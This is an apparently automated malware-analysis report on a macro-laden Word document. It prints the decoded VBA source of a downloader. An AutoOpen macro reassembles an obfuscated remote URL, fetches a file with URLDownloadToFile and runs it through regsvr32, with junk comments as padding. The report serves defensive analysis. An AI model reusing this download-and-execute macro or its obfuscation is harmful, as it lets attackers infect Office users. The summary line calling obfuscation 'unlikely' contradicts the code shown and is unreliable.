MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is an Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro utilizes the URLDownloadToFile function to download a payload from a constructed URL: "http://h$+1t$+1t$+1p$+1:$+1/$+1/$+1h$+1s$+1w$+1a$+1w$+1u$+1o$+17$+1c$+18$+1a$+1x$+1f$+1x$+1w$+13$+1.$+1c$+1o$+1m$+1/$+1a$+1l$+1f$+1h$+1". This indicates a downloader or droppper functionality, aiming to fetch and execute further malicious content.
Heuristics 5
-
ClamAV: Doc.Malware.Generic-7898874-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-7898874-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" ( _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- http://ns.adobe.com/xap/1.0/Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://ns.adobe.com/xap/1.0/mm/Referenced by macro
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
- http://purl.org/dc/elements/1.1/Referenced by macro
- http://ns.adobe.com/photoshop/1.0/Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6365 bytes |
SHA-256: a94ce086d97184901fba6167026b131f522cc68601755d9489ff5e4e1f9d37e9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "M1"
Function rT()
' Foretell measurement aviation clime flu
' Shortly belle possess prosecutor powell deck
' Ramble vertigo flooring morris
' Tempering gauze
' Andreas bang sustained nil gauntlet ranked
' Attempting
' Disengage spend
' Dw
' Hulk cuss advantage paying
' Talker foible clarity unification
' Many georgian peevish legion timing capriciously ahmed tournaments
' Ctrl virginity westminster
' Brain dispute suspend hans fy
' Elk minstrel quantity
' Morocco twice interviews mausoleum
' Arizona
' Arousing mosquito
' Sharpness
' Adduced
' Service physiology jefferson paucity
' Screensaver congress pertain ac fiendish receptacle
' Boolean stubble
' Venezuela ruts supernal unpretentious three-cornered bulbous
' Interlocutor receptacle x avatar
' Sapphire
' Esperanto shin donor boundary ricky antecedent lama
' Eddie
' Pharmacies jagged vol aerial
End Function
Function QT()
' Temperatures charm conservative shad
' America boasting dudgeon allspice
' Advisability nieces approximation ratio hierarchy thistle disable
' Paths sent magical blessed transcription
Dim arr(6) As String
' Programme sew
' Corrections annul
' Mote wiki fresco trousseau criterion jewess numb
' Wage concerns export
' Il dissertation weblogs sam approx integrity
' Twenty-second
' Sortie
arr(0) = "h$+1t$+1t$+1p$+1:$+1/$+1/$+1h$+1s$+1w$+1a$+1w$+1u$+1o$+17$+1c$+18$+1a$+1x$+1f$+1x$+1w$+13$+1.$+1c$+1o$+1m$+1/$+1a$+1l$+1f$+1h$+1"
' Driven
' Yeah jason governance
' Virtue
arr(1) = "/$+1x$+1z$+1r$+1n$+1.$+1p$+1h$+1p$+1?$+1l$+1=$+1l$+1f$+1a$+1h$+1e$+11$+13$+1.$+1c$+1a$+1b$+1%$+1%$+1%$+1c$+1:$+1\$+1p$+1r$+1o$+1"
' Prev tidal spokesman apache equip coordinator
' Optics quack asphalt
' Plot
' Feat money introduction electorate
arr(2) = "g$+1r$+1a$+1m$+1d$+1a$+1t$+1a$+1\$+12$+14$+17$+15$+14$+14$+19$+16$+1.$+1d$+1a$+1t$+1"
' Husbandry slit condolence moderate hap
QT = arr
End Function
Function k5(hx, U8)
KI = QT
' Shoal spectrum caustic
' Homestead tracking gag quarterly rides
' Rapping deadlock univ receiving
lD = Join(KI, "")
' Gcc
' Oddity shameless
' I demonstrated
' Passage
lD = Replace(lD, hx, "")
' Pell-mell palmer insubordination yield
' Lincolnshire offline xbox
' Fetus ailing helping dictionary providers
KI = Split(lD, "%%%")
' Endearment defray mrs oven sb
' Moth
' Asphalt scaffolding bated
' Celebrities sponsor photographer dts
' Corsican variant adage
Select Case U8
Case 0
k5 = KI(0)
Case 1
k5 = KI(1)
Case Else
Debug.Print "lD"
End Select
End Function
Function rX(Pi As String) As Long
pU$ = "0123456789ABCDEF"
' Upbraid stockholm
' Intractable warp packs
' Probably paragon dude
' Perennial presentiment bogus
' Indicating obituary maximum
If Len(Pi) = 1 Then
' Pelt oe classroom argentina
' Doff recondite
' Voyeur coastal zulu partners
' Antibody viral
rX = InStr(pU$, Pi) - 1
Else
' Lurk coupons funds forthcoming var
rX = rX(Left$(Pi, (Len(Pi) - 1))) * 16 + InStr(pU$, Right$(Pi, 1)) - 1
End If
End Function
Sub AutoOpen()
' Scraggy remain
' Tribune hows brew
Dim yf As New w
' Photo snarl put tattoo
yf.P0 k5("$+1", 0), k5("$+1", 1)
' Belle excuse erstwhile illogical welfare
' Etruscan suck
' Cst consign considerable reviewing evaporation
Dim Ne As New u
' Hiv
' Arc mercantile gratuitous foul crowbar managed cataract mountain
' Matching nb members patronize
' Tribe savings nasty
' Antechamber athena brent indonesia
' Impact
' Drunkard transcripts
' Shad dispatched
' Repeal seas
' Silesia deathbed victims definitions magnificently
' Blvd coiffure vie
' Fp fuzzy rifled forty-three commit
' Gloried approximation desktops escapade
' Seeds
' Cadet ejaculation
' Nation carboniferous canned filament
' Regression interact outcast democracy
' Pushed porter cabinets damped pantheon
Call Ne.iQ(Chr(rX(52)) & "egsvr" & 32 & " " & k5("$+1", 1))
End Sub
Attribute VB_Name = "w"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()
' Whir matted letting philosophy
' Outlay groin
' Ion
' Developer sleigh
' Tangle
' Bacon torpid
End Sub
Private Sub Class_Terminate()
' Ground concurred iridescent wondering ingredients
' Nhs bead underfoot
' Bombast elephant
' Stupid actuality shanghai
' Extraneous irascible particles
End Sub
Public Function P0(Cc, jN)
' Travel demeter fraudulent
' Separates going anointing
' Larva slav
' Principles cowed abstruse misshapen erudite
' Joining pestilent
' Appeared marbles rosary cooperative
LG = URLDownloadToFile(0&, Cc, jN, 0&, 0&)
End Function
Attribute VB_Name = "u"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function iQ(hv)
' Faro anytime ezekiel return
Dim vS As New WshShell
vS.exec hv
End Function
Function o(nu)
' Price blogs
' Assistance yo disrespectful
' Morale steadfastness remain outcomes
' Beatitude park senate nonplussed ira
' Doc keyboard distributor bombast
' Tiny manoeuvring dissection
' Yet geranium her strumpet
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 29696 bytes |
SHA-256: fe4e4e40f014a4189d9af89bd3b991b06f499aa9bc8dc0310ef54250efc36950 |
|||
|
Detection
ClamAV:
Doc.Malware.Generic-7898874-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.